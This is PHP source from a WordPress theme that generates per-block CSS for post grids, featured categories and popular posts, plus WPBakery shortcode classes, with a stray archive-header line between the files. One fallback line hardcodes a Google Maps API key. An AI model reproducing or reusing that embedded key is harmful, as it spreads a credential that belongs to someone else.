					$css_custom .= $block_id . '.penci-latest-posts-classic-grid article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-grid-2 article.format-standard .entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-mixed-4 .penci-featured-infor entry-content p,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .entry-content,';
					$css_custom .= $block_id . '.penci-latest-posts-classic-list article.format-standard .entry-content p';
					$css_custom .= '{ font-size: ' . esc_attr( $atts['bpcat_fsize'] ) . '!important;}';
					$css_custom .= '}';
				}
			}

			if ( isset( $atts['grid_uppercase_cat'] ) && $atts['grid_uppercase_cat'] ) {
				$css_custom .= $block_id . ' .penci-grid .cat a.penci-cat-name,';
				$css_custom .= $block_id . ' .penci-masonry .cat a.penci-cat-name,';
				$css_custom .= $block_id . ' .grid-mixed .cat a.penci-cat-name,';
				$css_custom .= $block_id . '  .overlay-header-box .cat a.penci-cat-name { text-transform: uppercase; }';
			}

			if ( isset( $atts['penci_paging_martop'] ) && $atts['penci_paging_martop'] ) {
				$css_custom .= $block_id . ' .penci-latest-posts-el .penci-pagination{ margin-top: ' . esc_attr( $atts['penci_paging_martop'] ) . '!important;}';
			}

			if ( 'grid' == $atts['style'] || 'masonry' == $atts['style'] ) {
				if ( isset( $atts['order_column_gap'] ) && $atts['order_column_gap'] && ! is_array( $atts['order_column_gap'] ) ) {
					$css_custom .= $block_id . '.penci-latest-posts-sc:not( .penci-lposts-ctcol ) .penci-grid > li{ margin-right: ' . esc_attr( $atts['order_column_gap'] ) . '!important;}';
					$css_custom .= $block_id . '.penci-lposts-ctcol .penci-grid{ grid-column-gap: ' . esc_attr( $atts['order_column_gap'] ) . '!important;}';
					$css_custom .= $block_id . ' .penci-wrap-masonry{margin-right: calc(-' . esc_attr( $atts['order_column_gap'] ) . '/2); margin-left: calc(-' . esc_attr( $atts['order_column_gap'] ) . '/2);}';
					$css_custom .= $block_id . ' .penci-masonry .item-masonry{ padding-right: calc(' . esc_attr( $atts['order_column_gap'] ) . '/2); padding-left: calc(' . esc_attr( $atts['order_column_gap'] ) . '/2);}';
				}
			}

			if ( in_array( $atts['style'], array( 'grid', 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3', 'grid-boxed-4', 'masonry', 'list', 'boxed-1' ) ) ) {
				if ( isset( $atts['order_row_gap'] ) && $atts['order_row_gap'] && ! is_array( $atts['order_row_gap'] ) ) {
					$css_custom .= $block_id . '.penci-grid{ row-gap: 0}';
					$css_custom .= $block_id . '.penci-latest-posts-sc:not( .penci-lposts-ctcol ) .penci-grid > li:not( :last-child ){ margin-bottom: ' . esc_attr( $atts['order_row_gap'] ) . '!important;}';
					$css_custom .= $block_id . '.penci-lposts-ctcol .penci-grid{ grid-row-gap: ' . esc_attr( $atts['order_row_gap'] ) . '!important; }';
					$css_custom .= $block_id . ' .penci-masonry .item-masonry{margin-bottom:' . esc_attr( $atts['order_row_gap'] ) . '!important; }';
					$css_custom .= $block_id . '.penci-latest-posts-list .penci-grid li.list-post:not( :last-child ){ padding-bottom: calc(' . esc_attr( $atts['order_row_gap'] ) . '/2) !important; margin-bottom: calc(' . esc_attr( $atts['order_row_gap'] ) . '/2) !important; }';
					$css_custom .= $block_id . '.penci-latest-posts-boxed-1 .penci-grid .list-post.list-boxed-post:not( :last-child ){  margin-bottom: ' . esc_attr( $atts['order_row_gap'] ) . ' !important; };';
				}
			}

			if ( $css_custom ) {
				return '<style>' . $css_custom . '</style>';
			}
		}

		public static function featured_cat( $block_id, $atts ) {
			$block_id   = '#' . $block_id;
			$css_custom = Penci_Vc_Helper::get_heading_block_css( $block_id, $atts );
			$css_custom .= Penci_Vc_Helper::get_heading_block_filter_css( $block_id, $atts );

			if ( $atts['pborder_color'] ) {
				$css_custom .= $block_id . ' .penci-grid li.list-post,';
				$css_custom .= $block_id . ' .home-featured-cat-content .mag-post-box{ border-color: ' . esc_attr( $atts['pborder_color'] ) . ';}';
			}
			if ( $atts['ptitle_color'] ) {
				$css_custom .= $block_id . ' .penci-grid li .item h2 a,';
				$css_custom .= $block_id . ' .penci-masonry .item-masonry h2 a,';
				$css_custom .= $block_id . ' .home-featured-cat-content .magcat-detail h3 a{ color: ' . esc_attr( $atts['ptitle_color'] ) . ';}';
			}
			if ( $atts['ptitle_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-grid li .item h2 a:hover,';
				$css_custom .= $block_id . ' .penci-masonry .item-masonry h2 a:hover,';
				$css_custom .= $block_id . ' .home-featured-cat-content .magcat-detail h3 a:hover{ color: ' . esc_attr( $atts['ptitle_hcolor'] ) . ';}';
			}

			if ( $atts['bptitle_color'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .magcat-detail h3 a{ color: ' . esc_attr( $atts['bptitle_color'] ) . ';}';
			}
			if ( $atts['bptitle_hcolor'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .magcat-detail h3 a:hover{ color: ' . esc_attr( $atts['bptitle_hcolor'] ) . ';}';
			}

			$template = $block_id . ' .penci-grid li .item h2 a,';
			$template .= $block_id . ' .penci-masonry .item-masonry h2 a,';
			$template .= $block_id . ' .home-featured-cat-content .magcat-detail h3 a{ %s }';

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['ptitle_fsize'],
				'font_style' => $atts['use_ptitle_typo'] ? $atts['ptitle_typo'] : '',
				'template'   => $template,
			) );

			if ( $atts['bptitle_fsize'] ) {
				$css_custom .= '@media screen and (min-width: 768px){';
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .magcat-detail h3 a{ font-size: ' . esc_attr( $atts['bptitle_fsize'] ) . ';}';
				$css_custom .= '}';
			}
			if ( $atts['simgwidth'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .penci-image-holder.small-fix-size{ width: ' . esc_attr( $atts['simgwidth'] ) . ';}';
			}
			if ( $atts['pmeta_color'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .grid-post-box-meta span a,';
				$css_custom .= $block_id . ' .home-featured-cat-content .grid-post-box-meta span{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';

				$css_custom .= $block_id . ' .home-featured-cat-content .mag-photo .grid-post-box-meta span:after{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';
			}
			if ( $atts['pmeta_hcolor'] ) {
				$css_custom .= $block_id . ' .grid-post-box-meta span a.comment-link:hover,';
				$css_custom .= $block_id . ' .grid-post-box-meta span a:hover{ color: ' . esc_attr( $atts['pmeta_hcolor'] ) . ';}';
			}

			if ( $atts['bpmeta_color'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .grid-post-box-meta span a,';
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .grid-post-box-meta span{ color: ' . esc_attr( $atts['bpmeta_color'] ) . ';}';
			}
			if ( $atts['bpmeta_hcolor'] ) {
				$css_custom .= $block_id . ' .home-featured-cat-content .first-post .grid-post-box-meta span a:hover{ color: ' . esc_attr( $atts['bpmeta_hcolor'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pmeta_fsize'],
				'font_style' => $atts['use_pmeta_typo'] ? $atts['pmeta_typo'] : '',
				'template'   => $block_id . ' .home-featured-cat-content .grid-post-box-meta{ %s }',
			) );

			if ( $atts['pexcerpt_color'] ) {
				$css_custom .= $block_id . ' .entry-content{ color: ' . esc_attr( $atts['pexcerpt_color'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pexcerpt_fsize'],
				'font_style' => $atts['use_pexcerpt_typo'] ? $atts['pexcerpt_typo'] : '',
				'template'   => $block_id . ' .entry-content,' . $block_id . ' .entry-content p{ %s }',
			) );

			if ( $atts['pcat_color'] ) {
				$css_custom .= $block_id . ' .cat > a.penci-cat-name,';
				$css_custom .= $block_id . ' .cat > a.penci-cat-name:after{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';
			}
			if ( $atts['pcat_hcolor'] ) {
				$css_custom .= $block_id . ' .cat > a.penci-cat-name:hover{ color: ' . esc_attr( $atts['pcat_hcolor'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pcat_fsize'],
				'font_style' => $atts['pcat_typo'],
				'template'   => $block_id . ' .cat > a.penci-cat-name{ %s }',
			) );

			$att_style = isset( $atts['style'] ) ? $atts['style'] : '';


			if ( 'style-3' == $att_style || 'style-11' == $att_style ) {
				if ( isset( $atts['penci_column_gap'] ) && $atts['penci_column_gap'] ) {
					$css_custom .= $block_id . '.penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content{ width: calc(100% + ' . esc_attr( $atts['penci_column_gap'] ) . ' );margin-left: calc(-' . esc_attr( $atts['penci_column_gap'] ) . '/2); margin-right: calc(-' . esc_attr( $atts['penci_column_gap'] ) . '/2); }';
					$css_custom .= $block_id . '.penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content .mag-photo{ padding-left: calc(' . esc_attr( $atts['penci_column_gap'] ) . '/2); padding-right: calc(' . esc_attr( $atts['penci_column_gap'] ) . '/2); }';
					$css_custom .= $block_id . '.penci-featured-cat-ctcol .home-featured-cat-content{ grid-column-gap: ' . esc_attr( $atts['penci_column_gap'] ) . '; }';
				}
			}

			if ( in_array( $att_style, array( 'style-3', 'style-11', 'style-8' ) ) ) {
				if ( isset( $atts['penci_row_gap'] ) && $atts['penci_row_gap'] ) {

					$css_custom .= $block_id . '.penci-featured-cat-sc:not( .penci-featured-cat-ctcol ) .home-featured-cat-content .mag-photo{ margin-bottom: ' . esc_attr( $atts['penci_row_gap'] ) . ' !important; }';
					$css_custom .= $block_id . '.penci-featured-cat-ctcol .home-featured-cat-content{ grid-row-gap: ' . esc_attr( $atts['penci_row_gap'] ) . '; }';
					$css_custom .= $block_id . ' .mag-cat-style-8 .penci-grid li.list-post:not( :last-child ){ padding-bottom: calc( ' . esc_attr( $atts['penci_row_gap'] ) . '/2); margin-bottom: calc(' . esc_attr( $atts['penci_row_gap'] ) . '/2) }';
				}
			}

			if ( isset( $atts['penci_featimg_size'] ) && $atts['penci_featimg_size'] ) {
				if ( 'horizontal' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: 66.6667% !important;}';
				} elseif ( 'square' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 100% !important;}';
				} elseif ( 'vertical' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 135.4% !important;}';
				} elseif ( 'custom' == $atts['penci_featimg_size'] && isset( $atts['penci_featimg_ratio'] ) && $atts['penci_featimg_ratio'] && ! is_array( $atts['penci_featimg_ratio'] ) ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: ' . esc_attr( $atts['penci_featimg_ratio'] ) . '% !important; }';
				}
			}

			if ( $css_custom ) {
				return '<style>' . $css_custom . '</style>';
			}
		}

		public static function popular_posts( $block_id, $atts ) {
			$block_id   = '#' . $block_id;
			$css_custom = Penci_Vc_Helper::get_heading_block_css( $block_id, $atts );

			if ( isset( $atts['penci_featimg_size'] ) && $atts['penci_featimg_size'] ) {
				if ( 'horizontal' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: 66.6667% !important;}';
				} elseif ( 'square' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 100% !important;}';
				} elseif ( 'vertical' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 135.4% !important;}';
				} elseif ( 'custom' == $atts['penci_featimg_size'] && isset( $atts['penci_featimg_ratio'] ) && $atts['penci_featimg_ratio'] && ! is_array( $atts['penci_featimg_ratio'] ) ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: ' . esc_attr( $atts['penci_featimg_ratio'] ) . '% !important; }';
				}
			}

			// Header style default
			if ( isset( $atts['block_title_color'] ) && $atts['block_title_color'] ) {
				$css_custom .= $block_id . ' .use-heading-default .home-pupular-posts-title a,';
				$css_custom .= $block_id . ' .use-heading-default .home-pupular-posts-title span,';
				$css_custom .= $block_id . ' .use-heading-default .home-pupular-posts-title { color: ' . esc_attr( $atts['block_title_color'] ) . '; }';
			}

			if ( isset( $atts['block_title_hcolor'] ) && $atts['block_title_hcolor'] ) {
				$css_custom .= $block_id . '  .use-heading-default .home-pupular-posts-title a:hover{ color: ' . esc_attr( $atts['block_title_hcolor'] ) . '; }';
			}
			if ( isset( $atts['btitle_bcolor'] ) && $atts['btitle_bcolor'] ) {
				$css_custom .= $block_id . ' .penci-home-popular-posts.use-heading-default{ border-top-color: ' . esc_attr( $atts['btitle_bcolor'] ) . '; }';
			}

			if ( $atts['ptitle_color'] ) {
				$css_custom .= $block_id . ' .item-related h3 a{ color: ' . esc_attr( $atts['ptitle_color'] ) . ';}';
			}
			if ( $atts['ptitle_hcolor'] ) {
				$css_custom .= $block_id . ' .item-related h3 a:hover{ color: ' . esc_attr( $atts['ptitle_hcolor'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['ptitle_fsize'],
				'font_style' => $atts['use_ptitle_typo'] ? $atts['ptitle_typo'] : '',
				'template'   => $block_id . ' .item-related h3 a{ %s }',
			) );

			if ( $atts['pmeta_color'] ) {
				$css_custom .= $block_id . ' .item-related span.date{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';
			}
			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pmeta_fsize'],
				'font_style' => $atts['use_pmeta_typo'] ? $atts['pmeta_typo'] : '',
				'template'   => $block_id . ' .item-related span.date{ %s }',
			) );

			if ( $atts['_dot_color'] ) {
				$css_custom .= $block_id . ' .penci-owl-dots .penci-owl-dot span{ border-color:' . esc_attr( $atts['_dot_color'] ) . ';background-color:' . esc_attr( $atts['_dot_color'] ) . ' }';
			}
			if ( $atts['dot_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-owl-dots .penci-owl-dot:hover span,';
				$css_custom .= $block_id . ' .penci-owl-dots .penci-owl-dot.active span{ border-color:' . esc_attr( $atts['dot_hcolor'] ) . ';background-color:' . esc_attr( $atts['dot_hcolor'] ) . '}';
			}


			if ( $css_custom ) {
				return '<style>' . $css_custom . '</style>';
			}
		}

		public static function featured_boxes( $block_id, $atts ) {
			$block_id   = '#' . $block_id;
			$css_custom = '';

			$style = isset( $atts['style'] ) ? $atts['style'] : '';

			if ( $atts['img_box_border_color'] ) {

				if ( 'boxes-style-4' == $style ) {
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span{ background-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:before,';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:after{ border-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
				} else if ( 'boxes-style-3' == $style ) {
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span{ background-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:before,';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:after{ border-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
				} elseif ( 'boxes-style-2' == $style ) {
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4{ background-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before{ border-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
				} else {
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span:before,';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:after,';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:before{ border-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
					$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span{ background-color: ' . esc_attr( $atts['img_box_border_color'] ) . ';}';
				}
			}

			if ( $atts['img_box_text_color'] ) {
				$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in h4 span span,';
				$css_custom .= $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 > span{ color: ' . esc_attr( $atts['img_box_text_color'] ) . ';}';
			}

			if ( $atts['img_box_text_hcolor'] ) {
				$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:hover h4 span span,';
				$css_custom .= $block_id . ' ul.homepage-featured-boxes li .penci-fea-in:hover h4 > span{ color: ' . esc_attr( $atts['img_box_text_hcolor'] ) . ';}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['img_box_fsize'],
				'font_style' => $atts['use_img_box_typo'] ? $atts['img_box_typo'] : '',
				'template'   => $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 > span,' . $block_id . ' ul.homepage-featured-boxes .penci-fea-in h4 span span{ %s }',
			) );

			if ( $css_custom ) {
				return '<style>' . $css_custom . '</style>';
			}
		}
	}
endif;
PK     0w\U     &  js_composer/inc/shortcodes-classes.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class WPBakeryShortCode_Penci_Count_Down extends WPBakeryShortCode {
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->jsCssScripts();
	}

	public function jsCssScripts() {
		wp_enqueue_script( 'jquery.plugin', PENCI_SOLEDAD_URL . '/js/jquery.plugin.min.js', array( 'jquery' ), '2.0.2', true );
		wp_enqueue_script( 'countdown', PENCI_SOLEDAD_URL . '/js/jquery.countdown.min.js', array( 'jquery' ), '2.0.2', true );

	}
}

class WPBakeryShortCode_Penci_Counter_Up extends WPBakeryShortCode {
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->jsCssScripts();
	}

	public function jsCssScripts() {
		wp_enqueue_script( 'waypoints', PENCI_SOLEDAD_URL . '/js/waypoints.min.js', array( 'jquery' ), '2.0.3', true );
		wp_enqueue_script( 'jquery-counterup', PENCI_SOLEDAD_URL . '/js/jquery.counterup.min.js', array(
			'jquery',
			'waypoints'
		), '1.0', true );
	}
}

class WPBakeryShortCode_Penci_Media_Carousel extends WPBakeryShortCodesContainer {
}

class WPBakeryShortCode_Penci_Custom_Slider extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Facebook_Page extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Fancy_Heading extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Google_Map extends WPBakeryShortCode {
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->jsCssScripts();
	}

	public function jsCssScripts() {
		$api = get_theme_mod( 'penci_map_api_key' );

		if ( ! $api ) {
			$api = 'AIzaSyBzbXkmI1iibQGKhyS_YbIDEyDEfBK5_bI';
		}
		$http = is_ssl() ? 'https://' : 'http://';

		wp_enqueue_script( 'google-map', esc_url( $http . 'maps.google.com/maps/api/js?key=' . esc_attr( $api ) ), array(), '', true );
	}
}

class WPBakeryShortCode_Penci_Image_Gallery extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Info_Box extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Instagram extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Latest_Tweets extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Login_Form extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Mailchimp extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Open_Hours extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Pinterest extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Pricing_Table extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Progress_Bar extends WPBakeryShortCode {
	public static function convertAttributesToNewProgressBar( $atts ) {
		if ( isset( $atts['values'] ) && strlen( $atts['values'] ) > 0 ) {
			$values = vc_param_group_parse_atts( $atts['values'] );
			if ( ! is_array( $values ) ) {
				$temp        = explode( ',', $atts['values'] );
				$paramValues = array();
				foreach ( $temp as $value ) {
					$data             = explode( '|', $value );
					$colorIndex       = 2;
					$newLine          = array();
					$newLine['value'] = isset( $data[0] ) ? $data[0] : 0;
					$newLine['label'] = isset( $data[1] ) ? $data[1] : '';
					if ( isset( $data[1] ) && preg_match( '/^\d{1,3}\%$/', $data[1] ) ) {
						$colorIndex       += 1;
						$newLine['value'] = (float) str_replace( '%', '', $data[1] );
						$newLine['label'] = isset( $data[2] ) ? $data[2] : '';
					}
					if ( isset( $data[ $colorIndex ] ) ) {
						$newLine['customcolor'] = $data[ $colorIndex ];
					}
					$paramValues[] = $newLine;
				}
				$atts['values'] = urlencode( json_encode( $paramValues ) );
			}
		}

		return $atts;
	}
}

class WPBakeryShortCode_Penci_Single_Video extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Social_Counter extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Social_Media extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Team_Member extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Testimonial_Slider extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Testimonial extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Text_Block extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Video_Playlist extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Weather extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Popular_Cat extends WPBakeryShortCode {
}

class WPBakeryShortCode_Penci_Container extends WPBakeryShortCode {
	public $nonDraggableClass = 'vc-non-draggable-row';
	protected $predefined_atts = array(
		'el_class' => '',
	);

	/**
	 * @param $settings
	 */
	public function __construct( $settings ) {
		parent::__construct( $settings );
		$this->shortcodeScripts();
	}

	protected function shortcodeScripts() {
		wp_register_script( 'vc_jquery_skrollr_js', vc_asset_url( 'lib/bower/skrollr/dist/skrollr.min.js' ), array( 'jquery' ), WPB_VC_VERSION, true );
		wp_register_script( 'vc_youtube_iframe_api_js', '//www.youtube.com/iframe_api', array(), WPB_VC_VERSION, true );
	}

	public function template( $content = '' ) {
		return $this->contentAdmin( $this->atts );
	}

	public function contentAdmin( $atts, $content = null ) {
		$width = $el_class = '';
		$atts  = shortcode_atts( $this->predefined_atts, $atts );

		extract( $atts );

		$output          = '';
		$count_width     = $width && is_array( $width ) ? count( $width ) : 1;
		$column_controls = $this->getColumnControls( $this->settings( 'controls' ) );

		for ( $i = 0; $i < $count_width; $i ++ ) {
			$output .= '<div data-manh="" data-element_type="' . $this->settings['base'] . '" class="' . $this->cssAdminClass() . '">';
			$output .= str_replace( '%column_size%', 1, $column_controls );
			$output .= '<div class="wpb_element_wrapper">';
			$output .= '<div class="vc_row vc_row-fluid wpb_row_container vc_container_for_children">';
			if ( '' === $content && ! empty( $this->settings['default_content_in_template'] ) ) {
				$output .= do_shortcode( shortcode_unautop( $this->settings['default_content_in_template'] ) );
			} else {
				$output .= do_shortcode( shortcode_unautop( $content ) );

			}
			$output .= '</div>';
			if ( isset( $this->settings['params'] ) ) {
				$inner = '';
				foreach ( $this->settings['params'] as $param ) {
					if ( ! isset( $param['param_name'] ) ) {
						continue;
					}
					$param_value = isset( $atts[ $param['param_name'] ] ) ? $atts[ $param['param_name'] ] : '';
					if ( is_array( $param_value ) ) {
						// Get first element from the array
						reset( $param_value );
						$first_key   = key( $param_value );
						$param_value = $param_value[ $first_key ];
					}
					$inner .= $this->singleParamHtmlHolder( $param, $param_value );
				}
				$output .= $inner;
			}
			$output .= '</div>';
			$output .= '</div>';
		}

		return $output;
	}

	public function getColumnControls( $controls, $extended_css = '' ) {
		$output       = '<div class="penci_container_controls vc_controls vc_controls-row controls_row vc_clearfix">';
		$controls_end = '</div>';

		$icon     = $this->settings( 'icon' );
		$img_icon = $icon ? '<img  src="' . $icon . '" alt="icon"/>' : '';

		$controls_layout = $this->getLayoutsControl();
		$controls_add    = '';
		$controls_title  = '<span class="wpb_element_title"> ' . $img_icon . '</span>';
		$controls_move   = '<a class="vc_control column_move vc_column-move" href="#" title="' . __( 'Drag row to reorder', 'soledad' ) . '" data-vc-control="move"><i class="vc-composer-icon vc-c-icon-dragndrop"></i>' . $controls_title . '</a>';
		$controls_delete = '<a class="vc_control column_delete vc_column-delete" href="#" title="' . __( 'Delete this row', 'soledad' ) . '" data-vc-control="delete"><i class="vc-composer-icon vc-c-icon-delete_empty"></i></a>';
		$controls_edit   = ' <a class="vc_control column_edit vc_column-edit" href="#" title="' . __( 'Edit this row', 'soledad' ) . '" data-vc-control="edit"><i class="vc-composer-icon vc-c-icon-mode_edit"></i></a>';
		$controls_clone  = ' <a class="vc_control column_clone vc_column-clone" href="#" title="' . __( 'Clone this row', 'soledad' ) . '" data-vc-control="clone"><i class="vc-composer-icon vc-c-icon-content_copy"></i></a>';
		$controls_toggle = ' <a class="vc_control column_toggle vc_column-toggle" href="#" title="' . __( 'Toggle row', 'soledad' ) . '" data-vc-control="toggle"><i class="vc-composer-icon vc-c-icon-arrow_drop_down"></i></a>';
		$editAccess      = vc_user_access_check_shortcode_edit( $this->shortcode );
		$allAccess       = vc_user_access_check_shortcode_all( $this->shortcode );


		if ( is_array( $controls ) && ! empty( $controls ) ) {

			foreach ( $controls as $control ) {
				$control_var = 'controls_' . $control;
				if ( ( $editAccess && 'edit' == $control ) || $allAccess ) {
					if ( isset( ${$control_var} ) ) {
						$output .= ${$control_var};
					}
				}
			}
			$output .= $controls_end;
		} elseif ( is_string( $controls ) ) {
			$control_var = 'controls_' . $controls;
			if ( ( $editAccess && 'edit' === $controls ) || $allAccess ) {
				if ( isset( ${$control_var} ) ) {
					$output .= ${$control_var} . $controls_end;
				}
			}
		} else {
			$row_edit_clone_delete = '<span class="vc_row_edit_clone_delete">';
			if ( $allAccess ) {
				$row_edit_clone_delete .= $controls_delete . $controls_clone . $controls_edit;
			} elseif ( $editAccess ) {
				$row_edit_clone_delete .= $controls_edit;
			}
			$row_edit_clone_delete .= $controls_toggle;
			$row_edit_clone_delete .= '</span>';

			if ( $allAccess ) {
				$output .= $controls_move . $controls_layout . $controls_add . $row_edit_clone_delete . $controls_end;
			} elseif ( $editAccess ) {
				$output .= $row_edit_clone_delete . $controls_end;
			} else {
				$output .= $row_edit_clone_delete . $controls_end;
			}
		}

		return $output;
	}

	/**
	 * This returs block controls
	 */
	public function getLayoutsControl() {
		$vc_row_layouts  = array(
			array(
				'cells'      => '11',
				'mask'       => '12',
				'title'      => 'Full width',
				'icon_class' => '1-1',
			),
			array(
				'cells'      => '14_12_14',
				'mask'       => '313',
				'title'      => 'Sidebar + Content + Sidebar',
				'icon_class' => '1-4_1-2_1-4',
			),
			array(
				'cells'      => '23_13',
				'mask'       => '29',
				'title'      => 'Content + Sidebar',
				'icon_class' => '2-3_1-3',
			),
			array(
				'cells'      => '13_23',
				'mask'       => '29',
				'title'      => 'Sidebar + Content',
				'icon_class' => '2-3_1-3',
			),
			array(
				'cells'      => '12_12',
				'mask'       => '26',
				'title'      => '1/2 + 1/2',
				'icon_class' => '1-2_1-2',
			),
			array(
				'cells'      => '13_13_13',
				'mask'       => '312',
				'title'      => '1/3 + 1/3 + 1/3',
				'icon_class' => '1-3_1-3_1-3',
			),
			array(
				'cells'      => '12_14_14',
				'mask'       => '313',
				'title'      => 'Content + Sidebar + Sidebar',
				'icon_class' => '1-2_1-4_1-4',
			),
			array(
				'cells'      => '14_14_12',
				'mask'       => '313',
				'title'      => 'Sidebar + Sidebar + Content',
				'icon_class' => '1-4_1-4_1-2',
			),
			array(
				'cells'      => '14_14_14_14',
				'mask'       => '420',
				'title'      => '1/4 + 1/4 + 1/4 + 1/4',
				'icon_class' => '1-4_1-4_1-4_1-4',
			),
		);
		$controls_layout = '<span class="vc_row_layouts vc_control">';
		foreach ( $vc_row_layouts as $layout ) {
			$controls_layout .= '<a class="vc_control-set-column penci_set_layout cell-' . $layout['cells'] . ' " data-cells="' . $layout['cells'] . '" data-cells-mask="' . $layout['mask'] . '" data-hint="' . $layout['title'] . '"><i class="vc-composer-icon vc-c-icon-' . $layout['icon_class'] . '"></i></a> ';
		}
		$controls_layout .= '</span>';

		return $controls_layout;
	}

	public function cssAdminClass() {
		$sortable = ( vc_user_access_check_shortcode_all( $this->shortcode ) ? ' wpb_sortable' : ' ' . $this->nonDraggableClass );

		return 'wpb_' . $this->settings['base'] . $sortable . '' . ( ! empty( $this->settings['class'] ) ? ' ' . $this->settings['class'] : '' );
	}

	/**
	 * @return string
	 * @deprecated - due to it is not used anywhere? 4.5
	 * @typo Bock - Block
	 */
	public function customAdminBockParams() {
		// _deprecated_function( 'WPBakeryShortCode_VC_Row::customAdminBockParams', '4.5 (will be removed in 4.10)' );

		return '';
	}

	/**
	 * @param string $bg_image
	 * @param string $bg_color
	 * @param string $bg_image_repeat
	 * @param string $font_color
	 * @param string $padding
	 * @param string $margin_bottom
	 *
	 * @return string
	 * @deprecated 4.5
